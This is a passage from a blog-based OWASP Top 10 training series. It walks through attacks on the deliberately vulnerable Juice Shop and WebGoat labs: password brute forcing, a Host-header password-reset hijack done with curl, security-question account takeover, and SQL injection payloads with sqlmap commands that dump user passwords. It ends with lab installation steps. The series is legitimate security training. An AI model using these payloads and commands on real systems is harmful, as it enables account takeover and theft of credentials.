  5. From the list, you can see the score-board endpoint as shown below
Enumerating JS files using Chrome's Dev Tools
Enumerating JS files using Chrome’s Dev Tools
  1. Go to the URL:
  2. Finally, you should see the scoreboard containing all the challenges.

Exploit Broken Authentication using Weak credentials

Let’s try to login as the admin user on OWASP Juice Shop. From our previous SQL injection tutorial, we know that the admin’s email is admin@juice-sh.op. So, let’s brute force his password using the worst 100 password dictionary.

Because Burp Suite Community Edition allows only throttled Bruteforce, we are going to use OWASP ZAP for this challenge. It is also a great opportunity to learn how to use OWASP ZAP in such a use case.

Capturing the vulnerable request on OWASP ZAP

  1. Firstly, make sure that OWASP ZAP is properly configured.
  2. Make sure that you have OWASP Juice Shop running.
  3. On the Juice Shop top menu, click on the Account button, then on the Login button.
OWASP Juice Shop Login feature
OWASP Juice Shop Login feature
  1. Then, enter admin@juice-sh.op in the email and a dummy password, and hit enter.
  2. You should see a POST request coming through Zaproxy’s History tab.
  1. As you can see, the response code is 401, which means that our authentication has failed.
  2. On the request View, you can see the full POST request, including the POST data.
OWASP ZAP showing the vulnerable login request
OWASP ZAP showing the vulnerable login request

Brute force the admin password

  1. Now, right-click on the request, and choose the Fuzz option.
Fuzz option in the OWASP ZAP contextual menu
Fuzz option in the OWASP ZAP contextual menu
  1. Then, select the password field from the POST data of the login request and click on the Add button on the right.
OWAP ZAP Fuzz menu
OWAP ZAP Fuzz menu
  1. Make sure that the payload type is Strings. Then, copy paste the list of passwords from the password dictionary and hit OK.
Login dictionary to test for  Broken Authentication
Login dictionary to test for Broken Authentication
  1. Finally, run the fuzzer, you should see a new Tab named Fuzzer appearing. After a while, the fuzzing finishes. You should see that we have a response code of 200 for the password admin123, meaning that the password we sent in that particular request is the admin’s password.
 Broken Authentication and Session Management tutorial: Password found
Broken Authentication and Session Management tutorial: Password found

In this challenge, your goal is to hijack Tom’s password reset link and takeover his account on OWASP WebGoat.

Capturing the vulnerable password reset request

  1. Firstly, make sure that you have OWASP WebGoat and WebWolf up and running.
  2. Then, go to the password reset challenge number 6, as shown below
 Broken Authentication and Session Management tutorial
Broken Authentication and Session Management tutorial
  1. Next, scroll down and notice that you have the ability to reset your account’s password using the forgot password feature.
 Broken Authentication and Session Management tutorial: password reset form
Broken Authentication and Session Management tutorial: password reset form
  1. Then, in the history tab of OWASP ZAP, you can see a POST request as shown below
OWASP ZAP captured the password reset POST request
OWASP ZAP captured the password reset POST request
  1. The POST request looks like this:
Password reset POST request
Password reset POST request

Exploiting the Password Reset feature

  1. Now, note your cookie Header and email POST data, we will use them to construct the following curl command.
curl -H "Host:" -b "JSESSIONID=Y-rAgt6BZhL5vY2yJaGH4Mx5ZPugPcK8WnwEd44Z" --data "email=tom%40webgoat-cloud.org"
  1. In the request above, the -H option allows to add our own HTTP Headers. In this case, we poisoned the HTTP Host Header to point to That way, we can capture the request made to /evil on WebWolf. In a real-life situation, the Host Header would point to a server controlled by the attacker. The -b option allows to add the Cookie, and the –data option allows to add the POST data.
  2. After executing the curl command above, you can see that you get a request to WebWolf under the Incoming Requests menu, like the one below
WebWolf captured the password reset token
WebWolf captured the password reset token
  1. Finally, we successfully hijacked the password reset link! Let’s copy it and use it in a legitimate password reset link. To do that, all you need is to send a password reset request to your email account, which is <user>@webgoat-cloud.org. On WebWolf, you can receive incoming emails on the Mailbox tab from the top menu.
Broken Authentication and Session Management tutorial: Password reset link structure
Password reset link structure
  1. As you can see, the password reset token looks like this:<password-reset-token>
  2. All we have to do now is substitute <password-reset-token> with the one we hijacked earlier and visit the web page. You should see a password reset form as shown below.
Broken Authentication and Session Management tutorial: Tom's Password reset form
Broken Authentication and Session Management tutorial: Tom’s Password reset form
  1. Fill the password with whatever you want, then login as Tom using the new password.
Challenge solved! Successful Tom's account takeover
Challenge solved! Successful Tom’s account takeover
  1. Congratulations! You have compromised Tom’s password using a weak password reset feature.

Exploit Broken Authentication using a security question

You might think that security questions are secret, but it’s not quite the case. With the number of personal data people share on social media nowadays, security question answers can be found relatively easily. In this challenge, we are going to reset Bjoern’s password and access his account using a security answer he publicly shared.

In his talk, Bjoern shared that he owns a three-legged cat named Zaya. He used his email bjoern@owasp.org.

  1. Firstly, go to the login from the top menu.
  2. Then, choose forgot your password option at the bottom of the login form.
  3. Finally, enter bjoern@owasp.org as the email, Zaya as the answer to the security question and a new password for Bjoern.
  4. Congratulations! You can authenticate as Bjoern in Juice Shop.

As you can see, there are a lot of attack vectors which can be used to exploit a Broken Authentication and Session Management feature. Hopefully, you’ve learned something new.

New content will be released in the future. If you enjoy learning on this blog, make sure to subscribe to the newsletter below. We will send you updates each Friday!

If you enjoy learning by watching videos, here is one:

SQL injection examples for practice

Welcome to this new episode of the OWASP Top 10 training series. In this blog post, you are going to practice your skills on some SQL injection examples. In the first SQL injection example, we will exploit an error-based use case. Then, we are going to exploit a blind use case in the second SQL injection example. Finally, you will learn how to use automated tools to find SQL injections vulnerabilities.

I will add other injection vulnerability types in the future, so make sure to subscribe to the newsletter at the bottom of the page. I send updates to all subscribers each Friday.

I’m assuming that you landed on this page because you are already familiar with the theory behind SQL injection. However, if you don’t, I highly recommend that you read this blog post where I explain SQL injection in theory with some theoretical SQL injection examples.

SQL injection tutorial prerequisites

In order to properly follow along this hands-on tutorial, you need OWASP WebGoat listening on port 8080. You also need either OWASP Zap or Burp Suite properly configured with your Web Browser.

SQL injection example 1: Error-based

Let’s start with WebGoat’s challenge 10 under the SQL injection menu (intro). It allows a user to see how many times a user has been logged in. The goal is to list all users data. If we input a single quote in the Login Count and the User_id fields, we notice an error getting back to us as shown below.

SQL injection example: Error-based
Exception showing the full SQL query

The error indicates two things. Firstly, this is an error based SQL injection. Secondly, the injection happens in the userid column. The Login_count is protected using a prepared statement.

Now, let’s craft a payload which will get us all users data. The idea is to build upon the error message which reveals the whole query, and inject a payload in the WHERE statement which always returns true. Such query could look like the following:

SELECT * From user_data WHERE Login_Count = 0 and userid= 1 or 1=1;-- 

Do you see what should be the value of our payload? Correct! it should be a number in the Login_count input and 1 or 1=1;– in the userid.

Since the fields in the SQL query are numerical, we don’t need to use any quotes. The following screenshot shows the exploitation results.

SQL injection example: Successful exploitation to read entire table
Successful exploitation of SQL injection

SQL injection example 2: Blind injection

We will solve challenge 5 of the SQL injection (advanced) menu. The goal is to exploit the Signup feature to gain access as user Tom.

If we input fields as shown below, we can see a weird error saying that the user already exists! This doesn’t make sense since we know for a fact that the user ‘ or 1=1;– doesn’t exist.

SQL injection example: blind injection discovery
Blind SQL injection message

What if the SQL query responsible for this error is a SELECT statement which verifies if the user already exists? This would make sense right? If our assumption is correct, our malicious payload always returns true, which tells the back-end server that  the user already exists. To be sure, you can replace 1=1 with 1=2, and you will get your user created, as seen below.

SQL injection example: blind injection returning false
Blind SQL injection message 2, our user is created!

Consequently, we can assume that the injection happens in a select statement.

The exercise that we did is called a black box testing. We can verify our assumption using a white box approach. This is explained in the Youtube video.

This is clearly a blind SQL injection. In fact, there is no direct error message, but a hint which we can use to infer data in the Database. The idea behind exploiting this SQL injection is to inject tom’ AND PAYLOAD;– . When PAYLOAD is true, we will get the first message saying that the user exists, otherwise, our user will be created.

We will use this hint to systematically extract tom’s password. Let’s analyze the following payload:

tom' AND password like 'a%';-- 

This will return true if tom’s password starts with a, meaning that we will get user already exists error message. Otherwise, our user will be created. We can also use SQL’s length function to first find tom’s password length, then use the function substring to get tom’s password one character at a time, but we will see this in action using sqlmap.

Exploiting SQL injection using sqlmap?

Introduction to Sqlmap

Sqlmap an open source penetration testing tool that automates the detection and exploitation of SQL injection. I use when I suspect an endpoint to be vulnerable, or to automate the process of dumping sensitive data from the database server. 

For beginners, you can use sqlmap –wizard option, then follow the instructions.

I personally prefer to play with sqlmap options. In fact, sometimes you have to tweak them in order to detect and exploit the SQL injection vulnerability.

The basic usage of Sqlmap is a GET request with GET parameters. The following command will test for an injection against param1 and param2 on the given URL:

sqlmap -u http://url.to/vulnerable/endpoint?param1&param2

Sometimes, you deal with a POST request, or a request with JSON data. Although you can use dedicated options to deal with each case, I personally prefer to use the -r option. Basically, I capture the whole HTTP request from OWASP Zap or BurpSuite, and I paste it in a file. Then, I run:

sqlmap -r request_file

If you need an in-depth sqlmap tutorial other than what you found on the net, drop me a comment with the things you need to learn about it. You can also watch the video above where I demonstrate sqlmap step-by-step.

Sqlmap in action

To retrieve Tom’s password, we will tell sqlmap that our hint is the string try to register with a different username, the technique is boolean and the vulnerable parameter is username_reg. We are also telling it to use verbosity level 3 to display the payloads which are being tried. Notice how they are similar to what we discussed above.

sqlmap -r request_file -p username_reg --technique=B --string "try to register with a different username" -v 3

After running the command above, we would get a positive result as seen below.

SQL injection example: Sqlmap found a SQL vulnerablility
sqlmap found that the parameter username_reg is vulnerable

From here, we will extract the current-db.

sqlmap -r request_file -p username_reg --technique=B --string "try to register with a different username" --current-db

The database name PUBLIC as you can see below.

 finding the database name using sqlmap
Database name revealed using sqlmap

From here, we will extract the list of tables .

sqlmap -r request_file -p username_reg --technique=B --string "try to register with a different username" -D PUBLIC --tables 
sqlmap finds all table names
Table names extracted using a Blind SQL injection and automated using sqlmap

It seems that the CHALLENGE_USERS is the table to hold the users’ data. We will list the columns of that table. Notice how sqlmap will try to automatically brute force the column names.

sqlmap -r request_file -p username_reg --technique=B --string "try to register with a different username" -D PUBLIC -T CHALLENGE_USERS --columns

Finally, we will get Tom’s password by dumping the columns needed using sqlmap:

sqlmap -r request_file -p username_reg --technique=B --string "try to register with a different username" -D PUBLIC -T CHALLENGE_USERS -C email,password --dump

As you can see, sqlmap is powerful when it comes to discovering and exploiting SQL injection. You can write your own script to retrieve Tom’s password, but it would take you a bit more time. I encourage you to do it first, it is a great exercise.

How to configure OWASP Zap to detect SQL injection?

We’ve covered how to install and configure OWASP Zap. If you haven’t configured it yet, go ahead and do it before continuing.

In this SQL injection example, we are going to configure Zaproxy to detect onlu SQL injections using the Active scan. This is a great opportunity for you to discover some Zaproxy options. Please follow the instructions as follows.

  1. Go to your target application and capture a vulnerable request. In my case, I am using OWASP WebGoat. Specifically, I’m targeting the challenge 11 of the SQL injection (intro) menu, under the Injection menu. This is the form I’m going to submit.
SQL injection Challenge
Form to submit
  1. Make sure you capture the request using OWASP Zap. You should see it under the History tab .
SQL injection example: Zap http traffic capture
Capturing the form submission request using OWASP Zap
  1. Right click on the highlighted POST request and choose attack, then Active Scan.
  2. Under Scope tab, make sure the option Show Advanced Options is checked.
advanced options in zap
Show Advanced Options option checked under Zap Scope settings
  1. Go to the Policy tab and turn off all attack vectors.
zap scan policy
OWASP ZAP Policy tab
  1. Now, go to the Injection menu on the left.
  2. Scroll down to the SQL injection test and choose a default Threshold .
zap scan policy only sql injection
OWASP ZAP Scan Policy: Selecting only SQL injection active scans
  1. Click “Start Scan”. A new tab named Active Scan will appear next to the History tab.
  2. When finished, Click the plus button next to the Active Scan tab and choose Alerts to show the scan results.
  3. Notice that the SQL injection has been detected.
SQL injection example: SQL injection found by zap
SQL injection detected by OWASP ZAP

How to configure Burp Suite pro to detect SQL injection?

We are going to exploit the same previous SQL example, this time using Burp Pro.

Burp Suite Community Edition doesn’t ship with Burp Scanner, but Burp Pro does. If you have a Burp Pro License, please follow the instructions below.

  1. Verify that you have properly setup Burp Suite.
  2. Capture the same request as we did above with Zaproxy.
SQL injection example: Burp capture
Burp Suite Request Captured
  1. Right click on the request and choose Scan in the contextual menu.
  2. In the Scan configuration menu, click on New.
Burp scan configuration
Brp Suite Pro Scan configuration
  1. Give your configuration a name, for example SQL injection, and choose only SQL injection in the Issues Reported panel.
SQL injection example: Burp SQL injection scan
SQL injection scan
  1. Click on Save, you should see your newly created configuration, click Ok.
  2. Go to the Dashboard tab. You should see a new task running. When it finishes, you can see that Burp has found two SQL injection issues.
Burp found the SQL injection
Burp Suite detected the SQL injection
  1. Click on the View Details button on the right to see more details on the vulnerable parameters and the requests being sent.

That’s it. I hope you learned how to exploit SQL injection from the examples above. In the next episodes, we are going to discover more OWASP Top 10 vulnerabilities on WebGoat and Juice Shop. Stay tuned with the Friday newsletter.

SQL injection explained – OWASP Top 10 vulnerabilities

Welcome to this new episode of the OWASP Top 10 vulnerabilities course, where we explain in detail each vulnerability. In this blog post, you will learn SQL injection.
This is a subset of the OWASP Top 10 injection vulnerabilities. If you’d like to have a bigger picture of Injection, I invite you to read this blog post before continuing.

What is SQL injection?

This vulnerability happens where the application processes malicious user input to query a SQL database. A n example would be the login feature of an admin portal. In fact, a vulnerable piece of code could be as follows:

userEmail = getParam("emailParameter");
userPass = getParam("passParameter");
sqlQuery = "SELECT * FROM users WHERE email = '" + userEmail + "' AND pass ='" + userPass + "'";
If sqlQuery{

The code above expects two user inputs, an email and a password. Then, it constructs a SQL query by concatenating the email and password. From there, if the result is not empty, the application allows the user to access the administration dashboard.

The idea is to construct a valid SQL query while bypassing the password protection. If we try the payload ‘ or 1=1;– in the email input and dummy in the password, the resulting SQL query would be:

SELECT * FROM users WHERE email = '' or 1=1;-- ' AND pass=dummy'

It is a valid SQL query which always returns true since 1 is always equal to 1. Besides, the double dashes comment out the rest of the SQL query. The result will pass the check and give us admin access without knowing neither the email nor the password.

You can practice SQL injection by going to the SQL injection hands-on examples blog post.

SQL injection attacks

This vulnerability is really impactful. I mentioned the TalkTalk’s breach on the OWASP Top 10 Injection blog post, which should give you an insight into how serious SQL injection could be. The following is a list of publicly available reports which bug bounty hunters reported on HackerOne. I’ll invite you to read my write-up, which I found on a private HackerOne program. So, make sure to subscribe to the newsletter to be notified.

How to exploit SQL injection manually?

The first thing is to determine if it is an error or blind based injection.

Error based SQL injection

The most basic test is to trigger an exception by injecting either single or double quotes, unless there is some protection filter in place. From there, just rely on the errors and try to either get unauthorized access or read sensitive data. There is a detailed blog post about this approach in the SQL injection practical examples.

Blind SQL injection

If the application doesn’t return any errors, try to provoke a time delay using a sleep. If it doesn’t work, try to spot any difference in the HTTP response between a SQL query which returns true and another which returns false.

As an ethical hacker, be very cautious when manipulating the SQL query! You should avoid altering or deleting data unless explicitly permitted by your client. Losing data can lead to serious business losses and will harm your reputation.

How to exploit SQL injection using automated tools

You can use automated testing once you find a vulnerability manually. Alternatively, you can use automated scanners to speed up your testing process if you have a large number of user inputs. You can use either OWASP Zap, Burp Suite or Sqlmap to test for this vulnerability automatically. I cover each one of them in this hands-on OWASP Top 10 training.

How to prevent SQL injection?

As it turns out, fixing this highly impactful security vulnerability is extremely simple. As a developer, the most effective and primary protection against this deadly vulnerability is to use prepared statements. This OWASP SQL injection Prepared Statements Cheat Sheet explains how to use it in all major programming languages.

Another approach would be to use stored procedures, where the SQL queries are stored on a database and no user input is dynamically inserted into them.

You can also use a whitelist to control parts of your SQL query before executing it. For example, if you search a store by category, you may want to validate that the category parameter is included in a list of whitelisted categories. If successful, then you run the SQL query. However, I wouldn’t recommend it as a primary defense. You can use it as a secondary defense mechanism.

Another secondary defense would be to apply protection filters which would sanitize and escape the user inputs. However, this can be bypassed.

You can find more on this topic on the OWASP prevention Cheat Sheet.

SQL injection common filters bypass

To prevent SQL injection, developers use common filters to check user input. Unfortunately, they can be bypassed. Whether you are As a developer or an ethical hacker, you should be aware of them. So please take your time understanding the idea behind these filters, this will enrich your skills whether you are a developer or an ethical hacker.

That’s it for today! Hopefully you’ve learnt a lot during this episode. If you enjoyed learning from this content, make sure to subscribe to the newsletter. I update all the subscribers on each Friday.

How to install OWASP Juice Shop – OWASP Top 10 training

Welcome back to the OWASP Top 10 training series. Today, we are going to install OWASP Juice Shop using both Heroku and Docker. This is the last step in our OWASP Top 10 lab setup. Last time, we installed OWASP WebGoat.

I’ve chosen to add it in this application so that we can experiment with attacking Nodejs backend targets with AngularJs front-end. 

After this tutorial, we will start practicing the exploitation of the OWASP Top 10 vulnerabilities.If you haven’t been following along from the beginning, it’s not too late. All you have to do is follow the instructions on OWASP Zap or Burp Suite setup blog posts. Then install OWASP WebGoat and WebWolf. Or, if you prefer videos, I created the OWASP Top 10 video training series just for you.

In order to stay updated when new episodes are available, make sure to subscribe to the Friday newsletter below!

Why OWASP Juice Shop for this OWASP Top 10 training?

OWASP Juice Shop is a deliberately vulnerable modern web application built on the current single web application stacks. Besides, it has a front-end based on AngularJs and a backend in NodeJs. Moreover, it uses both sqlite and NoSQL MongoDB databases. It also has a rest API.

Juice Shop is an awesomely well maintained project. Therefore, it is a great target to hone your skills, whether you are a beginner or an experienced pentester. 

A public instance is already available at https://juice-shop.herokuapp.com. However, I don’t recommend you directly test against it. In fact, you will often find some challenges already solved. Besides, it is a shared instance with others who might be malicious. Finally, it is especially not intended for brute forcing or automated testing. So be responsible and use it just to get a feel of Juice Shop features.

You can learn more on the Juice Shop architecture and its many features here.

Disclaimer: this is a deliberately vulnerable Web application. I strongly discourage running it on your host machine. For this reason, I a m going to continue working on my Debian 9 VM. For now, I’ll assume that you already have a Debian 9 VM running on your favorite Virtualization software. I am using VirtualBox.

How to Install OWASP Juice Shop on Heroku

Heroku is a cloud platform as a service (PaaS) supporting several programming languages. This means that you can deploy your code directly on the cloud and have a link to your web application. This is very convenient because it lets you deploy Juice Shop without any local setup.

  1. First, you need to have a Heroku account, which is free. Go to the signup page and register a new account.
  2. Go to the OWASP Juice Shop Github page and scroll down until you see the Heroku deploy button.OWASP Juice Shop Heroku button
  3. Click on Deploy to Heroku, you will be redirected to your Heroku account.
  4. Give your app a unique name, and click on Deploy app button.
  5. Grab a cup of coffee 🙂
  6. After a while, you will have a brand new instance up and running.
  7. Click on the View button at the bottom to visit your instance.

How to Install OWASP Juice Shop locally using Docker

If you’d like to reduce network latency, or even not depend on the internet, working locally would be the way to go. We are going to use Docker to avoid installing all the dependencies. If you don’t have Docker installed yet, you can install it using the instructions on how to install Docker in the OWASP WebGoat tutorial.

  1. Connect to your Debian 9 VM that we created earlier.
ssh thehackerish@your-debian-ip-address
  1. Download and run OWASP Juice Shop
docker run -d -p 3000:3000 bkimminich/juice-shop
  1. Go to: http://your-debian-9-vm-ip-address:3000
  2. You should see the same web page as https://juice-shop.herokuapp.com

Install Juice shop from source code

Some challenges are not available in neither Docker nor Heroku. For this reason, you have no choice but installing Juice shop from source code.

Some OWASP Juice shop challenges are not available neither on Docker nor on Heroku
Some OWASP Juice shop challenges are not available neither on Docker nor on Heroku

Step 1: NodeJS installation

  1. Download the Linux64 bit binaries
wget https://nodejs.org/dist/v12.14.1/node-v12.14.1-linux-x64.tar.xz
  1. Extract it to a destination of yours, mine is /home/thehackerish/nodejs
mkdir /home/thehackerish/nodejs && tar xvf node-v12.14.1-linux-x64.tar.xz --directory /home/thehackerish/nodejs
  1. Update your PATH variable
echo “PATH=$PATH:/home/thehackerish/nodejs/bin” >> ~/.bashrc
echo “source ~/.bashrc” >> ~/.profile

Step 2: Juice Shop from source

  1. Go to Juice Shop’s release page and choose the archive you would like. Because I am using a Debian VM with a nodejs version 12, I am going to choose this one.
  2. Extract the archive
tar xzvf juice-shop-9.3.1_node12_linux_x64.tgz
  1. Change directory to the folder and run the application
cd juice-shop_9.3.1 && npm install
  1. Now all you have to do is visit your browser to verify that your challenges are available.
OWASP Juice Shop challenges are now available
OWASP Juice Shop challenges are now available

Testing our installation

Now that Juice Shop is up and running, let’s see if we can capture HTTP requests using our previously installed web proxies.

  1. Make sure you have either Burp Suite or Zaproxy up and running on your host machine.
  2. Using the FoxyProxy add-on, choose a web proxy.
  3. Go to the URL of Juice Shop.
  4. Verify that you can capture HTTP traffic.

The following screenshots demonstrate that my local Juice Shop instance is well configured with Burp Suite.

OWASP Juice Shop with Burp

The following screenshots demonstrate that my local and Heroku Juice Shop instances are well configured with OWASP Zap.

OWASP Juice Shop with OWASP ZAP

Congratulations! You’ve finished setting up the lab for the OWASP Top 10 training! In the next episode, we are going to start exploiting our first vulnerability. Stay tuned!

A video is available on Youtube if you enjoy learning by watching!

OWASP Webgoat download and installation – OWASP Top 10 training

Welcome back to the OWASP Top 10 training series. Today, you are going to learn how to install OWASP WebGoat and OWASP WebWolf using both java and Docker. We are slowly but surely building out our OWASP Top 10 lab to start practicing how to exploit the OWASP Top 10 vulnerabilities. If you haven’t been following along from the beginning, it’s not too late. All you have to do is follow the instructions on OWASP Zap or Burp Suite setup blog posts. Or, if you prefer videos, I created the OWASP Top 10 video training series just for you. I will be adding more episodes to it as we progress on this training.

What is OWASP Webgoat and why using it for this OWASP Top 10 training?

OWASP WebGoat is a deliberately insecure web application to test Java-based applications against common web application vulnerabilities. It is well maintained and contains most of the OWASP Top 10 vulnerabilities. 

OWASP WebGoat comes with another web application called OWASP WebWolf, which makes it easy for you to host malicious files, receive emails and HTTP requests. It is really handy for testing things like out-of-band attacks.

Both OWASP WebGoat and WebWolf are released as jar files, Docker images and, of course, source code. So it is very convenient for our OWASP Top 10 training. In fact, this is a great opportunity to learn how Docker can be used to setup a lab and learn web application hacking.

Disclaimer: this is a deliberately vulnerable Web application. I strongly discourage running it on your host machine. For this reason, I a m going to start on a fresh Debian 9 VM on Virtualbox. I explain how to setup one in my video on Youtube. For now, I’ll assume that you already have a Debian 9 VM running on your favorite Virtualization software. I am using VirtualBox.

How to install OWASP Webgoat  and WebWolf using the JAR

Feel free to skip this part if you’d like to use Docker in your OWASP Top 10 training. I’ve included it here so that you know how to install Java on your machine. Knowing how to install packages is a good skill to have in your learning journey. It allows you to discover and experiment with new tools, especially with the increasing number of open-source tools published everyday.

Installing Java

Once you’ve connected to your Debian 9 guest machine, run the following commands. Again, make sure to watch the video if you are blocked.

# Download JDK 11
cd /tmp && wget https://download.java.net/java/ga/jdk11/openjdk-11_linux-x64_bin.tar.gz

# Switch to the root user, type root password

# Create the folder /usr/lib/jvm
mkdir /usr/lib/jvm

# Extract the downloaded archive
tar xzvf /tmp/openjdk-11_linux-x64_bin.tar.gz --directory /usr/lib/jvm

# Create a symlink to the java binary 
ln -s  /usr/lib/jvm/jdk-11/bin/java /usr/bin/java

# exit from root user

# Verify that you have the right version running
java -version

# Remove the downloaded archive
rm /tmp/openjdk-11_linux-x64_bin.tar.gz

OWASP WebGoat download and run

# Download the latest WebGoat release jar
wget https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M26/webgoat-server-8.0.0.M26.jar

# Run WebGoat using java
java -jar webgoat-server-8.0.0.M26.jar --server.address=

Note that you have to set the server.address option to In fact, by default, WebGoat listens on localhost only.

OWASP WebWolf download and run

# Download the OWASP WebWolf jar
wget https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M26/webwolf-8.0.0.M26.jar

# Run it while setting the server’s address to
java -jar webwolf-8.0.0.M26.jar --server.address=

How to install OWASP Webgoat in Docker

Docker has many advantages over using plain Java. I can’t recommend it enough, not only in this OWASP Top 10 training series, but also in your overall hacking journey. In fact, you don’t need to install and configure any dependencies. Plus, Webgoat and webwolf are all run using one command. Finally, Docker will help you to easily setup other applications in the future.

Install Docker

The docker documentation includes a one-time script installation, but I wouldn’t recommend it. You need to develop the habit of understanding what a code does before running it on your own machines. Most of the following steps are inspired by the official Docker documentation for Debian.

# Switch to the root user, type root password

# Remove any previous installations of Docker
apt-get remove docker docker-engine docker.io

# Update your repository
apt-get update

# Install required packages
apt-get install \
     apt-transport-https \
     ca-certificates \
     curl \
     gnupg2 \

# Download Docker’s apt-key
curl -fsSL https://download.docker.com/linux/$(. /etc/os-release; echo "$ID")/gpg | apt-key add -

# Verify that the key belongs to Docker
apt-key fingerprint 0EBFCD88

# Add docker to the repository
add-apt-repository \
   "deb [arch=amd64] https://download.docker.com/linux/$(. /etc/os-release; echo "$ID") \
   $(lsb_release -cs) \

# Update the repository
apt-get update

# Install Docker
apt-get install docker-ce

# Add your user to the docker group
/sbin/usermod -aG docker thehackerish
# or
usermod -aG docker thehackerish

# Login with your user again on SSH and run: 
docker run hello-world

You should have a response similar to this oneOWASP Top 10 training: Docker setup

Download and run OWASP WebGoat for docker

Run WebGoat and WebWolf all in one go. Notice that you have to set the timezone variable TZ for JWT challenges to work properly. Here is a list of timezones that you can use according to your host machine location.

docker run -d -p 8080:8080 -p 9090:9090 -e TZ=Europe/Amsterdam webgoat/goatandwolf

Testing our OWASP WebGoat setup

Now that OWASP WebGoat and WebWolf are running, let’s test if they work with OWASP ZAP or Burp Suite as intended.

  1. Launch OWASP Zap or BurpSuite.
  2. Choose your proxy from the FoxyProxy add-on. If you haven’t followed from the beginning, here is the link for installing and configuring FoxyProxy.
  3. Go to http://your-machine-ip:8080/WebGoat, where your-machine-ip is the IP address of the Debian 9 VM.
  4. If everything went well, you should have a login screen like the following screenshot.OWASP Top 10 training: Webgoat login page

Testing our OWASP WebWolf setup

  1. Launch OWASP Zap or BurpSuite.
  2. Choose your proxy from the FoxyProxy add-on. If you haven’t followed from the beginning, here is the link for installing and configuring FoxyProxy.
  3. Go to http://your-machine-ip:9090/WebWolf, where your-machine-ip is the IP address of the Debian 9 VM.
  4. If everything went well, you should have a login screen.OWASP Top 10 training: WebWolf login page

Congratulations! You’ve made another step towards practicing OWASP Top 10 vulnerabilities! In the next episode of this OWASP Top 10 training series, we will set up and configure OWASP Juice Shop.

If you enjoyed this tutorial, consider subscribing to the Newsletter below to be notified when there is news on thehackerish.com. Until then, stay curious, crave for learning, be ethical and share with the world!

If you enjoy learning on Youtube, I prepared the Owasp Top 10 training videos series just for you. Here is the OWASP WebGoat setup video.